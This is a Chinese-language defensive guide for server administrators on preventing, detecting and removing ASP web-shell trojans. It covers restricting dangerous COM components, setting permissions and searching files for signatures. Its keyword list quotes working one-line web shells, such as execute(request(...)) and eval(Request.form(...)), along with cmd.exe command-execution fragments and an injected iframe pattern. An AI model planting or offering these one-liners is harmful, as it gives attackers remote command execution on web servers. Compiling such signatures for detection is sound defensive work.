木馬 ASP木馬猖獗,基於ASP的網站時時處於危險之中,要讓網站的安全隨時得到保障,需要我們的伺服器管理員要做些什麼呢,如何防範ASP木馬呢?要防範ASP木馬,那麼我們就需要知道它的運行原理和機制,下面我們看一段代碼:
Set oscript = Server.CreateObject("Wscript.SHELL") "建立了一個名為oscript的Wscript.SHELL對象,用於命令的執行"
Set oscriptNet = Server.CreateObject("Wscript.NETWORK")
Set oFileSys = Server.CreateObject("scripting.FileSystemObject")
上面三行代碼建立了Wscript.SHELL、Wscript.NETWORK、scripting.FileSystemObject三個對象我們可以看出asp木馬的運行原理就是通過調用組件對象等完成的。
通過分析一些asp木馬,我們看出主要是通過3個組件啟動並執行,第一個是我們都知道的FSO, 需要FSO支援也就是"scripting.FileSystemObject"項的支援,那麼有人會說,是不是刪除這個組件就可以了呀 ,不可以的,因為現在很多程式都是要用到FSO這個組件的,所以是覺得不能限制的,不然正常的程式也運行不了,現在網上有很多教程,告訴別人刪除或限制使用,這些方法都很極端,我不推薦大家使用,我們再說另外幾個組件"shell.application"、"Wscript.SHELL"等危險組件 ,一般的木馬都是要使用這幾個組件的 ,即使你把fso組件限制的話,你不去限制別的組件的的話,一樣不能起到效果的,對於fso組件之外的其他的幾個組件,我們平時是不太用的,所以我們可以直接在註冊表中的HKEY_CLASSES_ROOT中找到
找到"shell.application"、"Wscript.SHELL"等危險的指令碼對象(因為它們都是用於建立指令碼命令通道的)進行改名或刪除,也就是限制系統對“指令碼SHELL”的建立,ASP木馬也就成為無本之木、無米之炊,運行不起來了。如果我們自己要使用的話,那麼我們就不要刪除直接改下名字,如果是改名,要改得複雜一點,不要讓別人猜到了,我們在要用的程式裡面直接把調用的名字改成我們剛才修改的名字就可以了。
對組件進行限制之後,我們還應該對伺服器的許可權進行嚴格的設定,這裡我就不說了,由於篇幅問題,等下不知道要寫多久了,大家可以參考網上的一些安全使用權限設定, 我們對許可權和組件等等設定完了之後,基本上就能防止asp木馬的危害了。
另外有一點應該注意,如果確實發現木馬了,查殺完之後,應該將具有系統管理權限的各類帳號都進行修改。包括論壇的帳號、資料庫帳號以及伺服器作業系統帳號、FTP 帳號等,如果我們做到了這個幾點話,我們的伺服器基本上是安全了,呵呵,為什麼說是基本的呢,因為這個世界上根本就沒有安全的伺服器了,只不過我們剛才說到的設定只是能夠防範大部分asp木馬的的侵害,不排除一些別的因素,比如說提限。說白了防範asp木馬就是要限制組件,設定嚴格的許可權和保證asp程式的安全
我們下面說下怎麼樣查殺asp木馬了,我根據自己的一些經驗說幾種方法
1. 時間比較法
按時間順序找到最近被改動的asp檔案 ,開啟看下,是不是木馬呢,什麼,看不懂代碼, 那你就把不是你自己放的asp檔案,名字看一眼就看的出的。比如說diy.ap.dm6.asp,angel.asp.shell.asp什麼的檔案,可疑的asp檔案不是你自己建立的刪除,或直接存取下看下是不是木馬就可以了
2. 尋找關鍵字,asp木馬都是有關鍵字的,也就像病毒的特徵碼,我們用windows內建的搜尋功能就能尋找到 ,尋找包含內容為關鍵字的所有檔案就可以了,找到以後看下就可以了,有時候能尋找到一些asp的大檔案,如果是虛擬機器主機的話,一般是資料庫檔案改成asp的了,如果是一句話木馬的關鍵字就小心了,如果是大型木馬的關鍵字,咱們訪問一下看看,我不贊成把資料庫改成asp的,至於為什麼,大家都知道吧。
我整理了一些特徵碼,現在給大家
gxgl
lcx
<script RUNAT=SERVER LANGUAGE=JAVAscript>eval(Request.form(’#’)+’’)</script>
輸入馬的內容
session("b")
request("kker")
非常遺憾,您的主機不支援ADODB.Stream,不能使用本程式
傳至伺服器已有虛擬目錄
警告:對非法使用此程式可能帶來的任何不良後果責任自負!請勿用於非法用途!!!
<%execute request("value")%>
ccopus
<%execute(request("#"))%>
<script language="vbscript" runat=server>if reques(#")<>"" then execute(request("#"))</script>
("cmd.exe /c "&request.form("cmd")).
("cmd.exe /c "&request("cmd")).
("cmd.exe /c "&request("c")).
這些都是關鍵字了,全部是我從木馬里面一個一個提取出來的,如果有這些特徵的話,一般都是木馬 ,不過大家最好開啟看一下,不排除特殊情況。如果你的網站裡,有類似代碼:<iframe src="http://www.***.com" ></iframe> 估計可能是被加入的惡意串連,或著被掛馬了,好狠毒,那麼請在關鍵詞中搜尋iframe src,
3. 大家也可以用明小子的asp木馬掃描的這個小工具拉,把我的關鍵字放進去,掃描一下,挺方便的,呵呵
4. 在網站結構清楚的情況下,瀏覽目錄法能快速確定木馬,在不該出現的地方出現的檔案,管他是不是木馬都可以刪,比如說dvbbs下的 upfile這些檔案夾裡是不應該出現asp檔案的,我們一發現就刪除就是了 ,不過要求管理員對自己的網站目錄結構熟
5. 有一種方法可以試下,就是做好備份,一旦發現有人入侵,馬上還原,這樣什麼木馬也不怕了,不過要注意的是,把保證備份檔案是安全的 ,要是備份檔案裡也有木馬,讓就沒搞一樣的
6. 用asp木馬追捕的檔案,查殺,網上有下載的,另外我們常用的殺毒軟體也有這樣的功能,我推薦大家採用卡巴斯機,效果非常好,幾乎能查殺如今所有流行的asp木馬
上面只是簡單的介紹了一下,asp木馬的一些查殺方法,當然這些只是亡養補牢了,我們最好對伺服器系統進行嚴格的許可權限制,讓駭客即使是上傳了木馬也沒有什麼用,這裡許可權的限制我就不多說了等下不知道要寫多少,網上的資料也很全面的,大家可以自己去尋找西。而且現在說來說去,asp木馬的隱藏方法確實是很高明,asp木馬代碼加密,圖片合并,檔案時間修改,還有要命的系統漏洞利用等等這對於要百分之百查殺asp木馬的查殺,幾乎不可能,我們只有堵住木馬上傳的源頭 ,asp程式盡量用最新版本,網站中的上傳途徑自己應該特別注意,對於不需要指令碼啟動並執行檔案夾在iis裡面設定,執行許可為無,還有就是管理員要求有良好的安全意識,不然的話,談不上安全了,並且我們設定了許可權之後, 傳了也是白傳。